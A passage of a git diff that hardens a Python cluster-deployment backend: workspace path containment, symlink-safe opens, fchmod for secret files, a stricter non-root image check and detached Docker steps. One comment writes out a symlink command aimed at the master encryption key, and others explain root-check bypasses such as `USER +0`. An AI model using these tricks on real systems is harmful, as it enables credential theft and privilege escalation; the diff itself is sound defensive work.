"dpu_internal_vlan_ipv4", "bnk_manifest_version", "flo_version", "cert_manager_version", "storage_class_type", "storage_provisioner", + "bnk_cr_kind", "is_bare_metal", "is_dpu_enabled", ): v = getattr(self, k) @@ -125,15 +127,7 @@ def resolve_project_context( kwargs["cert_manager_version"] = vp.cert_manager_version kwargs["storage_class_type"] = vp.storage_class_type kwargs["storage_provisioner"] = vp.storage_provisioner - - # 2b. Fill cert_manager_version with a safe default when not supplied by version profile. - # v1.16.1 was the pinned version aligned with BNK 2.2 (previously seeded via ExternalHelmChart, - # which was removed in D-028 P5). The UX version-picker that previously let admins choose from - # ExternalHelmChart rows is a deferred follow-up tracked in the D-028 backlog — it will be - # relocated to BnkVersionProfile. Until then this constant is the single source of truth. - DEFAULT_CERT_MANAGER_VERSION = "v1.16.1" - if not kwargs.get("cert_manager_version"): - kwargs["cert_manager_version"] = DEFAULT_CERT_MANAGER_VERSION + kwargs["bnk_cr_kind"] = vp.bnk_cr_kind # 3. Dpu record (matched by project + host IP, same pattern as _inject_rendered_bf_conf) if host: @@ -381,6 +375,8 @@ def _transform_cneinstance( result["internal_nad_name"] = "sf-internal" if ctx.is_dpu_enabled and "deployment_size" not in variables: result["deployment_size"] = "Large" + if ctx.bnk_cr_kind and "bnk_cr_kind" not in variables: + result["bnk_cr_kind"] = ctx.bnk_cr_kind return result diff --git a/backend/services/execution/cli_engine.py b/backend/services/execution/cli_engine.py index 27acceb0..8016c234 100644 --- a/backend/services/execution/cli_engine.py +++ b/backend/services/execution/cli_engine.py @@ -281,6 +281,30 @@ def _render_cluster_yaml(self, ctx: ModuleContext, workspace: Path) -> Path: cluster_yaml_path.write_text(yaml.safe_dump(ctx.variables, default_flow_style=False)) return cluster_yaml_path + @staticmethod + def _applied_cluster_name(cfg_path: Path) -> str | None: + """Read metadata.name from an applied cluster.yaml. + + Used on the destroy path so log lines (and any {name} placeholder a tool + descriptor uses) describe the cluster actually being torn down, rather + than whatever the project form currently says. Best-effort: a malformed + file must not block a destroy, since the config reaches the tool by path + regardless. + """ + import yaml + + try: + doc = yaml.safe_load(cfg_path.read_text()) or {} + except Exception: + logger.warning("Could not parse applied cluster.yaml at %s", cfg_path) + return None + if not isinstance(doc, dict): + return None + metadata = doc.get("metadata") + if isinstance(metadata, dict) and metadata.get("name"): + return str(metadata["name"]) + return None + def _build_env(self, ctx: ModuleContext) -> dict[str, str]: """Merge process env with per-project cloud credentials. @@ -807,8 +831,47 @@ def destroy(self, ctx: ModuleContext, on_output=None) -> OperationResult: descriptor = self._get_descriptor(ctx) resolved = shutil.which(descriptor.binary_path) or descriptor.binary_path workspace = self._workspace_dir(ctx) - cfg_path = self._render_cluster_yaml(ctx, workspace) - cluster_name = ctx.variables.get("name", str(ctx.project_id)) + # Destroy from the APPLIED config, never a re-render of current form + # variables. The workspace cluster.yaml was written at apply time and + # sits beside the tool's own .awsbnkctl//state.env, so it is the + # config the live cluster was actually built from. Re-rendering here + # (the old behaviour) meant that editing cluster_name after apply made + # `down` target a cluster that never existed -- reporting success while + # the real EKS cluster stayed up and unmanaged. Refusing is strictly + # safer than guessing; same stance as _destroy_usecases below. + cfg_path = workspace / "cluster.yaml" + if not cfg_path.exists(): + # Recovery path: an EXPLICIT cluster_yaml in variables is an + # operator handing us the applied config back after the workspace + # was lost. Safe to honour precisely because the destroy context + # no longer renders one -- _build_cli_context(for_destroy=True) + # skips the render, so anything here was set deliberately on the + # module rather than drifting in from the current project form. + explicit = ctx.variables.get("cluster_yaml") + if explicit: + workspace.mkdir(parents=True, exist_ok=True) + cfg_path.write_text(explicit) + logger.info( + "Restored cluster.yaml for module %s from an explicit " + "cluster_yaml variable before destroy", + ctx.module_id, + ) + if not cfg_path.exists(): + return OperationResult( + success=False, + duration_seconds=time.monotonic() - started, + error_message=( + f"cluster.yaml not found in workspace {workspace} — refusing to " + "destroy. The applied configuration is what identifies the live " + "cluster; re-rendering it from the current project form could " + "target the wrong cluster and orphan the real one. Restore the " + "workspace (or tear the cluster down with awsbnkctl directly) " + "and retry." + ), + ) + cluster_name = self._applied_cluster_name(cfg_path) or ctx.variables.get( + "name", str(ctx.project_id) + ) args = [resolved] + self._fmt_args( descriptor.destroy_args_template, diff --git a/backend/services/execution/config_writer.py b/backend/services/execution/config_writer.py index 7284da96..836244ad 100644 --- a/backend/services/execution/config_writer.py +++ b/backend/services/execution/config_writer.py @@ -401,17 +401,15 @@ def _resolve_project_kubeconfig_path(project) -> str | None: if tunnel_port: try: - import yaml as yaml_lib - kc_dict = yaml_lib.safe_load(kubeconfig_content) - for c in kc_dict.get("clusters", []): - # 127.0.0.1 not "localhost" — see cluster_utils - # comment: localhost resolves to ::1+127.0.0.1 - # and the tunnel listener is IPv4-only. - c["cluster"]["server"] = f"https://127.0.0.1:{tunnel_port}" - c["cluster"]["insecure-skip-tls-verify"] = True - c["cluster"].pop("certificate-authority-data", None) - c["cluster"].pop("certificate-authority", None) - kubeconfig_content = yaml_lib.dump(kc_dict, default_flow_style=False) + # Shared with cluster_utils (in-process clients) so the + # Terraform kubernetes/helm providers get the same + # rewrite: verification ON via tls-server-name where + # the CA allows it, legacy skip only as a fallback (#7). + from services.kubeconfig_normalizer import rewrite_kubeconfig_for_tunnel + + kubeconfig_content = rewrite_kubeconfig_for_tunnel( + kubeconfig_content, tunnel_port + ) logger.info( "Rewrote kubeconfig server URL to " "https://localhost:%d (SSH tunnel to cluster %s)", diff --git a/backend/services/execution/container_engine.py b/backend/services/execution/container_engine.py index 2a6c10ca..f2b9f3eb 100644 --- a/backend/services/execution/container_engine.py +++ b/backend/services/execution/container_engine.py @@ -94,6 +94,7 @@ def __init__( workspace_subpath: str | None = None, outputs_filename: str = DEFAULT_OUTPUTS_FILENAME, secret_values: list[str] | None = None, + celery_task_id: str | None = None, ) -> None: self.runner = runner self.workspace_host_path = workspace_host_path @@ -101,6 +102,9 @@ def __init__( # worker; correct on Docker Desktop). None ⟹ host-path bind fallback. self.workspace_volume = workspace_volume self.workspace_subpath = workspace_subpath + # Stamped onto each step container so the reaper can tell a live step + # from one whose worker died. None outside a Celery context. + self.celery_task_id = celery_task_id # In-container path used by the engine itself (e.g. to read outputs.json # back). The DockerRunner bind-mounts workspace_host_path; the engine, # which runs in the worker, reads via its own mount of the same volume. @@ -241,17 +245,18 @@ def health_check(self) -> bool: def _resolve_steps(self, ctx: ModuleContext, operation: str) -> list[dict]: """Resolve the step list for a lifecycle op from the artifact manifest. - Reads ``execution.steps.`` first (the SEAMS-named location), then - falls back to top-level ``steps.`` (where the validator stores it). + Delegates to ``module_metadata.canonical_step_sets`` — the SAME resolver + the validator uses — so the steps that run are always the steps that were + validated. Previously this preferred ``execution.steps`` while every + validator read top-level ``steps``, which made the reviewed manifest a + decoy for the executed one. + Returns ``[]`` when the phase is not declared. """ + from services.module_metadata import canonical_step_sets + manifest = ctx.pack_manifest or {} - execution = manifest.get("execution") - if isinstance(execution, dict) and isinstance(execution.get("steps"), dict): - steps = execution["steps"].get(operation) - else: - steps_block = manifest.get("steps") - steps = steps_block.get(operation) if isinstance(steps_block, dict) else None + steps = canonical_step_sets(manifest).get(operation) if steps is None: return [] @@ -280,7 +285,20 @@ def _render_str(self, value: str, variables: dict[str, Any]) -> str: def _sub(match: re.Match[str]) -> str: key = match.group(1) - return str(self._lookup_input(key, variables)) + resolved = self._lookup_input(key, variables) + # Reject non-scalars HERE, at the single point where a value becomes + # part of an argv token. The equivalent check in + # validate_action_inputs only guards the action path; lifecycle + # steps render from ctx.variables (module.variables + + # variable_overrides, both JSON columns), so a dict there still + # reached step argv as a Python repr — the same class on the other + # of the two surfaces that exhibit it. + if not isinstance(resolved, (str, int, float, bool)): + raise ValueError( + f"Input '{key}' is a {type(resolved).__name__}; only scalar " + "values can be templated into a step argument" + ) + return str(resolved) return _INPUT_TOKEN_RE.sub(_sub, value) @@ -384,6 +402,7 @@ def _sink(line: str) -> None: pull_authfile_json=self.pull_authfile_json, component_key=component_key, step_name=step_name, + celery_task_id=self.celery_task_id, ) # retry/backoff: a long-provisioning step (e.g. a cluster whose @@ -512,9 +531,138 @@ def _resolve_outputs_filename(self, ctx: ModuleContext) -> str: manifest = ctx.pack_manifest or {} state = manifest.get("state") if isinstance(state, dict) and isinstance(state.get("outputs_file"), str): - return state["outputs_file"].strip() or self.outputs_filename + declared = state["outputs_file"].strip() + if not declared: + return self.outputs_filename + if not self._is_workspace_relative(declared): + # The manifest value was previously passed to os.path.join with + # only a .strip(), so an absolute path or a ../ escape read a + # file outside the workspace and normalized it into + # module.outputs — surfacing worker files (/app/keys, /app/secrets) + # to the user. The validator never checked this field (#408.2). + logger.warning( + "Ignoring state.outputs_file %r — it escapes the workspace; " + "falling back to %s", + declared, self.outputs_filename, + ) + return self.outputs_filename + return declared return self.outputs_filename + def _contained_workspace_path(self, relative: str) -> str: + """Resolve ``relative`` under the workspace, refusing to escape it. + + Lexical checks alone are NOT sufficient here, which is the lesson from + the first version of this code. The workspace is writable by the + artifact's own container — that is its purpose — so a step can simply + plant a symlink at the expected name and the subsequent + ``os.path.join`` → ``open()`` follows it as the WORKER uid: + + ln -sf /app/keys/encryption.key /state/outputs.json + + ``/app/keys/encryption.key`` is the master encryption key and + ``/app/secrets`` is a real read-only mount, so the read direction is + credential disclosure into ``module.outputs`` (served by the state + viewer), and the write direction is an arbitrary-file truncate. + + Mirrors module_reports_service, which already solved this: realpath + containment first, then O_NOFOLLOW on the open so the final component + cannot be a symlink either. + """ + root = os.path.realpath(self.workspace_local_path) + target = os.path.realpath(os.path.join(root, relative)) + if target != root and not target.startswith(root + os.sep): + raise ValueError( + f"path {relative!r} resolves outside the module workspace" + ) + return target + + def _open_contained(self, relative: str, mode: str): + """Open a workspace-relative path with NO component able to be a symlink. + + O_NOFOLLOW on the final component is not containment. The path is + resolved, then re-resolved by isfile(), then re-resolved again by open() + — and swapping a PARENT directory between those steps escapes, because + only the last component is checked. That is not contrived here: the + shipped artifact declares a nested outputs_file + (.roksbnkctl/forge/cluster-outputs.json), and `state: {scope: deployment}` + shares one workspace across blueprint modules dispatched concurrently + onto --concurrency=4 workers, so module A's still-running step container + can swap a directory while module B's engine reads. + + So walk the components, opening each directory with O_NOFOLLOW | + O_DIRECTORY relative to the previous fd, then open the leaf relative to + the last fd. No component is ever resolved by name twice, and none of + them may be a symlink. + """ + import errno + + if not self._is_workspace_relative(relative): + raise ValueError(f"path {relative!r} escapes the module workspace") + + parts = [p for p in os.path.normpath(relative).split(os.sep) if p and p != "."] + if not parts: + raise ValueError(f"path {relative!r} does not name a file") + + root_fd = os.open(os.path.realpath(self.workspace_local_path), os.O_RDONLY | os.O_DIRECTORY) + open_fds = [root_fd] + try: + for component in parts[:-1]: + try: + fd = os.open( + component, + os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, + dir_fd=open_fds[-1], + ) + except OSError as exc: + if exc.errno in (errno.ELOOP, errno.ENOTDIR): + raise ValueError( + f"{relative!r}: component {component!r} is a symlink; " + "refusing to follow it out of the workspace" + ) from exc + raise + open_fds.append(fd) + + flags = os.O_RDONLY if mode == "r" else (os.O_WRONLY | os.O_CREAT | os.O_TRUNC) + try: + leaf = os.open(parts[-1], flags | os.O_NOFOLLOW, 0o600, dir_fd=open_fds[-1]) + except OSError as exc: + if exc.errno in (errno.ELOOP, errno.EMLINK): + raise ValueError( + f"{relative!r} is a symlink; refusing to follow it out of " + "the workspace" + ) from exc + raise + try: + return os.fdopen(leaf, mode, encoding="utf-8") + except Exception: + # fdopen takes ownership on success only; on failure the raw fd + # would leak, and this runs per step on a long-lived worker. + os.close(leaf) + raise + finally: + for fd in open_fds: + try: + os.close(fd) + except OSError: # pragma: no cover - best effort + pass + + @staticmethod + def _is_workspace_relative(candidate: str) -> bool: + """True when ``candidate`` stays inside the workspace when joined to it. + + Mirrors the containment the sibling ``_step_marker_path`` gets for free + by sanitising its input. Rejects absolute paths, drive-letter/UNC forms, + and any ``..`` that climbs out. + """ + if not candidate or os.path.isabs(candidate) or candidate.startswith("\\"): + return False + if os.path.splitdrive(candidate)[0]: + return False + # normpath collapses ./ and ../ so a climb shows up as a leading "..". + normalized = os.path.normpath(candidate) + return not (normalized == ".." or normalized.startswith(".." + os.sep)) + def _read_outputs_file(self, filename: str | None = None) -> dict[str, Any]: """Read + normalize the artifact's outputs file from the workspace. @@ -526,14 +674,20 @@ def _read_outputs_file(self, filename: str | None = None) -> dict[str, Any]: Tolerates a missing file (the artifact may not emit one) and malformed JSON (logged, returns empty). Always returns a flat string-keyed dict. """ - path = os.path.join(self.workspace_local_path, filename or self.outputs_filename) - if not os.path.isfile(path): - return {} + relative = filename or self.outputs_filename + # No isfile() precheck: it re-resolves the path by name, which is the + # very window a parent-directory swap exploits. Open first and let a + # missing file surface as FileNotFoundError. try: - with open(path) as handle: + with self._open_contained(relative, "r") as handle: data = json.load(handle) + except FileNotFoundError: + return {} + except ValueError as exc: # symlinked component, or escapes + logger.warning("Refusing to read artifact outputs file: %s", exc) + return {} except (OSError, json.JSONDecodeError) as exc: - logger.warning("Could not read artifact outputs file %s: %s", path, exc) + logger.warning("Could not read artifact outputs file %s: %s", relative, exc) return {} return self._normalize_outputs(data) @@ -571,9 +725,14 @@ def _step_marker_exists(self, step_name: str) -> bool: def _write_step_marker(self, step_name: str) -> None: try: os.makedirs(self.workspace_local_path, exist_ok=True) - with open(self._step_marker_path(step_name), "w") as handle: + # Same symlink exposure in the WRITE direction: a planted symlink at + # the marker name would otherwise be an arbitrary-file truncate to + # "done\n" as the worker uid. _step_marker_path sanitises the step + # name (traversal), which does nothing about symlinks. + marker = os.path.basename(self._step_marker_path(step_name)) + with self._open_contained(marker, "w") as handle: handle.write("done\n") - except OSError as exc: + except (OSError, ValueError) as exc: # Non-fatal: a missing marker only means the run_once step re-runs next # time (and a truly non-idempotent step would then surface its own error). logger.warning("Could not write run_once marker for step '%s': %s", step_name, exc) diff --git a/backend/services/execution/container_run_secrets.py b/backend/services/execution/container_run_secrets.py index b4a9b95a..5b3535e3 100644 --- a/backend/services/execution/container_run_secrets.py +++ b/backend/services/execution/container_run_secrets.py @@ -353,15 +353,27 @@ def materialize_secret_files( os.makedirs(os.path.dirname(dest), exist_ok=True) # Create 0600 from the start rather than write-then-chmod, so the # content is never briefly readable by other uids. O_CREAT's mode does - # not apply to an existing file, so chmod after covers a re-run over a - # file created before this code (or with a different umask). + # not apply to an existing file, so the fchmod below covers a re-run + # over a file created before this code (or with a different umask). # O_NOFOLLOW closes the race between the islink check above and this # open: a symlink planted in between fails the open (ELOOP) instead of # being followed. flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC | os.O_NOFOLLOW with os.fdopen(os.open(dest, flags, 0o600), "wb") as handle: + # fchmod on the open descriptor, NOT os.chmod(dest) after close. + # chmod by path follows symlinks, so a co-tenant swapping `dest` + # for a symlink between our close and the chmod would get an + # arbitrary reachable file chmod'd to 0600 (perm clobber, no + # content exposure -- within the documented F3 co-tenancy, but + # free to close). fchmod acts on the exact inode we opened with + # O_NOFOLLOW, so there is no path re-resolution to race (#94 N1). + # + # Tighten BEFORE writing: on a re-run over a pre-existing wider-mode + # file, O_CREAT's 0600 does not apply, so writing first would put + # the secret on disk world-readable for the duration of the write. + # Our fd is already open, so the tighter mode does not affect it. + os.fchmod(handle.fileno(), 0o600) handle.write(content) - os.chmod(dest, 0o600) written.append(rel_path) logger.info( "Materialized secret '%s' for project %s at workspace path %s", diff --git a/backend/services/execution/container_runner.py b/backend/services/execution/container_runner.py index 3c579db1..79c2f615 100644 --- a/backend/services/execution/container_runner.py +++ b/backend/services/execution/container_runner.py @@ -33,14 +33,25 @@ import shutil import subprocess import tempfile +import threading from abc import ABC, abstractmethod from collections.abc import Callable from dataclasses import dataclass, field +from typing import Any from utils.security import validate_cli_arg logger = logging.getLogger(__name__) + +class ContainerKillUnavailableError(RuntimeError): + """The docker endpoint could not be reached to enumerate/kill containers. + + Distinct from "no containers were running": a cancel releases the module + lock on the strength of a kill, so an unreachable daemon must not be + reported as a successful stop. + """ + # A digest pin looks like ``@sha256:<64 hex>``. Anything else (a floating # tag, or a tag-only reference) is rejected — running an artifact requires an # immutable digest so the bytes can never silently change underneath us. @@ -57,13 +68,50 @@ # so this network keeps NAT egress while isolating them from other containers. DEFAULT_ARTIFACT_NETWORK = "bnk-forge-artifacts" -# Image users that mean "root". Docker leaves Config.User empty when the image -# never declares a USER, which the daemon runs as uid 0. -_ROOT_USERS = {"", "0", "root", "0:0", "root:root"} +# Step execution is DETACHED + polled rather than attached, so no single request +# to the docker endpoint outlives a step (an attached `docker run` parks one on +# /containers/{id}/wait for the whole run). These bound the poll loop. +_POLL_INTERVAL_SECONDS = 2.0 # completion granularity; also the log-resume backoff +_DOCKER_CALL_TIMEOUT = 30 # every individual docker call is short and bounded +# How long the endpoint may stay unreachable before the step is failed. This is +# wall-clock, not a poll count: the container keeps running whether or not we +# can see it, so an unreachable endpoint costs nothing to wait out, and the +# proxy is `restart: unless-stopped` — a restart of it must not fail a step. +# A poll count would also be a misleading budget, since one failing poll can +# take anywhere from milliseconds to _DOCKER_CALL_TIMEOUT. +_POLL_FAILURE_GRACE_SECONDS = 300 +_STREAM_JOIN_TIMEOUT = 5 # grace for the log follower to wind up + +# Labels stamped on every detached step container. See build_run_argv. +_LABEL_STEP = "bnkforge.step" +_LABEL_WORKSPACE = "bnkforge.workspace" +_LABEL_TASK = "bnkforge.task" +_MAX_NAME_PREFIX = 48 # keep generated container names comfortably legal # Env var names: letters/digits/underscore, not starting with a digit. _ENV_KEY_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*$") +# A uid we are willing to accept as proven non-root: ASCII decimal digits only. +# Deliberately stricter than str.isdigit(), which accepts unicode digits ("²") +# that int() then rejects, and which misses the signed forms runc accepts. +_NUMERIC_UID_RE = re.compile(r"^[0-9]+$") + + +_RFC3339_PREFIX = re.compile(r"^\d{4}-\d{2}-\d{2}T[\d:.]+Z?\S*$") + + +def _strip_timestamp(line: str) -> tuple[str | None, str]: + """Split a ``docker logs --timestamps`` line into (timestamp, text). + + Returns ``(None, line)`` unchanged when the line does not start with one, so + a daemon that omits the prefix degrades to "no resume point" rather than to + a mangled first token. + """ + stamp, sep, rest = line.partition(" ") + if sep and _RFC3339_PREFIX.match(stamp): + return stamp, rest + return None, line + def _validate_env_keys(env: dict[str, str]) -> None: """Reject any environment variable name that is not a valid shell/POSIX key. @@ -124,11 +172,15 @@ class StepSpec: timeout_seconds: int = 1800 pull_authfile_json: str | None = None # transient dockerconfigjson for the pull - # Stable per-component identity. The DockerRunner ignores these; the - # KubernetesRunner uses ``component_key`` to name the per-component PVC, - # per-step Job, and per-step Secret deterministically. + # Stable per-component identity. The KubernetesRunner uses ``component_key`` + # to name the per-component PVC, per-step Job, and per-step Secret + # deterministically; the DockerRunner uses it to name the step container. component_key: str | None = None step_name: str | None = None + # Celery task this step belongs to. Stamped onto the container as a label so + # the reaper can tell a container whose task is still running from one whose + # worker died — the same live/dead signal execution_janitor already uses. + celery_task_id: str | None = None class ContainerRunner(ABC): @@ -179,12 +231,31 @@ def __init__( # ------------------------------------------------------------------------- # argv construction (pure — unit-tested without a live daemon) # ------------------------------------------------------------------------- - def build_run_argv(self, spec: StepSpec, authfile_dir: str | None = None) -> list[str]: + def build_run_argv( + self, + spec: StepSpec, + authfile_dir: str | None = None, + *, + detach: bool = False, + container_name: str | None = None, + ) -> list[str]: """Build the full ``docker run`` argv for a step. Pure function of the spec (+ optional transient authfile dir). Kept separate from execution so it can be asserted in unit tests with no daemon and no subprocess. + + ``detach=True`` starts the container in the background under + ``container_name`` instead of attaching. Execution uses this form: an + attached ``docker run`` holds ONE HTTP request open on + ``/containers/{id}/wait`` for the whole life of the step, so any idle + timeout anywhere on the DOCKER_HOST path (the socket proxy's haproxy + ``timeout client`` defaults to 10m) kills a long step mid-flight. The + detached form keeps every request short and polls for completion. + + ``--rm`` is dropped in the detached form: the exit code has to be read + back with ``docker inspect`` after the container stops, so the runner + removes it explicitly instead. """ self._validate_spec(spec) @@ -194,7 +265,27 @@ def build_run_argv(self, spec: StepSpec, authfile_dir: str | None = None) -> lis if authfile_dir: argv += ["--config", authfile_dir] - argv += ["run", "--rm"] + if detach: + if not container_name: + raise ValueError("detach=True requires container_name") + validate_cli_arg("name", container_name) + argv += ["run", "--detach", "--name", container_name] + # Labels, not the name, are what makes an orphan findable. Dropping + # --rm moved cleanup out of the daemon and into a `finally` that a + # SIGKILLed worker never reaches, so something has to be able to + # answer "whose container is this?" afterwards: + # step — this is ours to reap at all + # workspace — which persistent workspace it is writing to, so a + # retry can clear its own predecessor before mounting + # task — which Celery task, so the reaper can compare against + # the live set the janitor already computes + argv += ["--label", f"{_LABEL_STEP}=1"] + if spec.workspace_subpath: + argv += ["--label", f"{_LABEL_WORKSPACE}={spec.workspace_subpath}"] + if spec.celery_task_id: + argv += ["--label", f"{_LABEL_TASK}={spec.celery_task_id}"] + else: + argv += ["run", "--rm"] # Baseline hardening (mirrors the KubernetesRunner security context): # - no-new-privileges: a setuid binary in the image cannot escalate. @@ -267,6 +358,167 @@ def build_run_argv(self, spec: StepSpec, authfile_dir: str | None = None) -> lis argv += [spec.image_digest, *command_args] return argv + def build_logs_argv( + self, container_name: str, *, follow: bool = False, since: str | None = None + ) -> list[str]: + """Stream (or fetch) a container's merged output, timestamped. + + ``--timestamps`` is always on and the prefix is stripped before the line + is emitted, so the caller sees the same text as before. It is there so a + resume can be expressed in the DAEMON's clock rather than the worker's: + ``--since`` is interpreted daemon-side, and this whole design assumes a + remote/proxied DOCKER_HOST, so the two clocks are not the same one. With + the worker's wall clock a resume would skip output when the worker runs + ahead and replay a lot when it runs behind. Feeding back a timestamp the + daemon itself emitted removes the skew entirely. + + The stamps are RFC3339 with nanosecond precision and docker compares + ``--since`` at that precision, so a resume repeats at most the final + LINE rather than the final second. Either way it can never affect the + step's RESULT, which comes from the state poll. + """ + argv = [self.docker_bin, "logs", "--timestamps"] + if follow: + argv += ["--follow"] + if since: + argv += ["--since", since] + argv += [container_name] + return argv + + def build_state_argv(self, container_name: str) -> list[str]: + """Read a container's liveness + exit code in one short call.""" + return [ + self.docker_bin, + "inspect", + "--format", + "{{.State.Running}} {{.State.ExitCode}}", + container_name, + ] + + def build_kill_argv(self, container_name: str) -> list[str]: + return [self.docker_bin, "kill", container_name] + + def build_rm_argv(self, container_name: str) -> list[str]: + return [self.docker_bin, "rm", "--force", container_name] + + def build_ps_argv(self, *, label: str) -> list[str]: + """Container ids carrying ``label``, running or not.""" + return [self.docker_bin, "ps", "--all", "--quiet", "--filter", f"label={label}"] + + def build_ps_owner_argv(self, *, label: str) -> list[str]: + """`` `` for each container carrying ``label``. + + One call rather than a ``ps`` followed by an ``inspect`` per container: + this runs on every step start, and the owner is the whole reason for + looking. + """ + return [ + self.docker_bin, "ps", "--all", "--filter", f"label={label}", + "--format", '{{.ID}} {{.Label "' + _LABEL_TASK + '"}}', + ] + + def _clear_workspace_predecessors(self, spec: StepSpec, run_env: dict[str, str]) -> None: + """Remove containers holding this step's workspace that nothing owns. + + NOT every container on this workspace — ``workspace_subpath`` is shared + by design. ``WorkspaceManager.artifact_workspace_key`` returns the + deployment group for ``state: {scope: deployment}``, so every module of + a blueprint deployment resolves to the same ``{project}/bp-`` + subpath, and ``parallel_tasks`` dispatches those modules in waves onto + workers running ``--concurrency=4``. ``module_lock`` does not serialise + them: it is keyed on ``module.id``, so two different modules sharing one + workspace each hold their own lock and proceed. Sweeping on the + workspace label alone would therefore ``rm --force`` a *live sibling's* + step container, and the victim would report "Lost contact with the + docker endpoint" — sending an operator after haproxy for a step another + step killed. + + What this exists for: dropping ``--rm`` moved cleanup into a ``finally`` + block, and a worker killed by SIGKILL/OOM never runs it — the container + keeps running. Then ``reset_stale_executions`` frees the task, it is + retried, and ``_container_name`` mints a fresh uuid, so the orphan and + the retry execute CONCURRENTLY against the same workspace. Two + `tofu apply`s on one state directory is a corruption shape. A periodic + reaper cannot close that — the retry starts seconds after the worker + comes back, long before any sweep is due — so it is closed here. + + Ownership decides, using the label the reaper already relies on: + + - owned by a DIFFERENT task that is still live → spare. A concurrent + sibling, not an orphan. + - owned by THIS task → remove. Celery preserves ``task_id`` across + ``retry()``, so "the owner is live" is true of our own predecessor; + treating that as a reason to spare would reinstate exactly the + corruption this function exists to prevent. + - owner is not live → remove. An orphan from a dead worker. + - no owner label → spare. It predates the labelling, and removing on a + guess would kill a running deployment — worse than the leak. + + Best-effort by design. If the endpoint cannot be reached the step will + fail on its own next call, and failing here would just mean a noisier + error for the same cause. + """ + if not spec.workspace_subpath: + return + label = f"{_LABEL_WORKSPACE}={spec.workspace_subpath}" + try: + from services.execution_janitor import get_live_task_ids + + listed = subprocess.run( + self.build_ps_owner_argv(label=label), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + rows = [ln for ln in (listed.stdout or "").splitlines() if ln.strip()] + if not rows: + return + + live = get_live_task_ids() + if not live: + # get_live_task_ids() degrades to an empty set on ANY failure — + # import error, no redis client, or an exception mid-scan — and + # all three just log and return set(). Read literally that says + # "nothing is running", and this loop would then spare nothing + # and rm --force every sibling on a shared workspace. + # + # It cannot mean that here: task_prerun fires record_task_start, + # so OUR OWN task is in the set whenever the lookup works. Empty + # therefore means "no answer", and deleting on no answer is how + # a redis blip turns into a killed deployment. Skipping costs a + # leaked container the reaper picks up later. + logger.warning( + "Live-task set is empty — skipping the workspace sweep for %s " + "rather than treating an unavailable lookup as 'nothing is running'", + spec.workspace_subpath, + ) + return + for row in rows: + cid, _, owner = row.strip().partition(" ") + owner = owner.strip() + if not cid: + continue + if not owner: + logger.info( + "Leaving container %s on workspace %s alone — no owning task label", + cid, spec.workspace_subpath, + ) + continue + if owner != spec.celery_task_id and owner in live: + continue # a live sibling step, not a predecessor + logger.warning( + "Removing container %s holding workspace %s (task %s) before starting a " + "new step on it — %s", + cid, spec.workspace_subpath, owner, + "our own predecessor from a retry" if owner == spec.celery_task_id + else "its task is no longer live", + ) + subprocess.run( + self.build_rm_argv(cid), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + except Exception as exc: # pragma: no cover - best effort + logger.warning("Could not sweep predecessors for workspace %s: %s", + spec.workspace_subpath, exc) + def build_pull_argv(self, spec: StepSpec, authfile_dir: str | None = None) -> list[str]: """Pull the digest-pinned image explicitly. @@ -297,8 +549,53 @@ def is_root_user(image_user: str | None) -> bool: An image that never declares USER reports an empty string and runs as root — that is the common case and must be caught. + + Closes the numeric bypass only — see the KNOWN GAP note in the body. + + Only the uid half decides this. Docker's USER is ``[:]``, + so an image declaring ``USER 0:100`` or ``USER root:wheel`` runs as uid 0 + while never matching a fixed set of full strings. Exact-string membership + therefore let a root image through the gate documented as *the* protection + for the host-mounted workspace (issue #408.1). Compare the uid alone, and + numerically, so ``0``, ``00`` and ``0:anything`` are all caught. + + The Kubernetes path is unaffected — ``run_as_non_root=True`` is + kubelet-enforced against the resolved numeric uid. """ - return (image_user or "").strip().lower() in _ROOT_USERS + uid = (image_user or "").strip().split(":", 1)[0].strip() + + # POLARITY: return True (root/refused) for anything not PROVABLY a + # non-zero decimal uid. + # + # The previous shape — `if uid.isdigit(): return int(uid)==0` then + # `return False` — classified everything unparseable as non-root, so it + # failed OPEN. runc's user.GetExecUser falls back to strconv.Atoi when no + # passwd entry matches, and Go's Atoi accepts a sign, so `USER +0` and + # `USER -0` both resolve to uid 0 while str.isdigit() rejects them. + # `USER ²` was worse: "²".isdigit() is True but int("²") raises, and the + # call only failed closed by accident because ContainerEngine._run_step + # swallows Exception. + # + # Refusing an unrecognised USER also subsumes the named-alias case + # (`USER toor` mapped to uid 0 in the image's own /etc/passwd), which the + # previous version documented as a known gap. It aligns this gate with + # the Kubernetes path, where runAsNonRoot=True is kubelet-enforced and + # refuses a non-numeric USER outright — the two backends previously + # disagreed on the same security property. + if not _NUMERIC_UID_RE.match(uid): + return True + # Prove the value is in the runtime's REPRESENTABLE non-root range, not + # merely != 0. runc's strconv.Atoi yields a 64-bit Go int, and moby's + # getUser then narrows it with uint32(execUser.Uid) — so any decimal uid + # whose low 32 bits are zero (4294967296, 8589934592, ...) becomes uid 0 + # in the container while passing a `!= 0` check. Values above 2**31 are + # also unrepresentable in practice and fail later as an opaque runc + # error instead of the actionable refusal below. + try: + value = int(uid) + except ValueError: # pragma: no cover - regex already guarantees digits + return True + return not (0 < value < 2**31) def _gate_image( self, @@ -350,7 +647,11 @@ def _fail(message: str, stdout: str = "") -> StepResult: f"Artifact image {spec.image_digest} runs as root " f"(USER={image_user or ''}). Refusing to start it: the workspace is " f"mounted from the host, so a root container is a host-root write primitive. " - f"Rebuild the image with a non-root USER." + f"Rebuild the image with a NUMERIC non-root USER (e.g. `USER 65532`). " + f"A named user is refused because it cannot be resolved to a uid " + f"without the image's own /etc/passwd — `USER toor` may well be uid 0. " + f"The Kubernetes substrate already enforces this: runAsNonRoot is " + f"kubelet-checked against the resolved numeric uid." ) if on_output: @@ -365,11 +666,24 @@ def run_step( spec: StepSpec, on_output: Callable[[str], None] | None = None, ) -> StepResult: - import threading + """Run one step to completion. + + The container is started DETACHED and its completion is discovered by + polling, so no single request to the docker endpoint outlives a few + seconds. An attached `docker run` instead parks one request on + /containers/{id}/wait for the entire step, which made any idle timeout + on the path a hard ceiling on step duration — the socket proxy's + haproxy `timeout client` defaults to 10m, so every step longer than that + died with `error waiting for container: unexpected EOF` (exit 125) and + nothing naming the transport. Polling also means a proxy or worker + restart no longer orphans a running step. + + The step's declared `timeout_seconds` is now the ONLY thing that ends a + step early, which is what the artifact manifest already 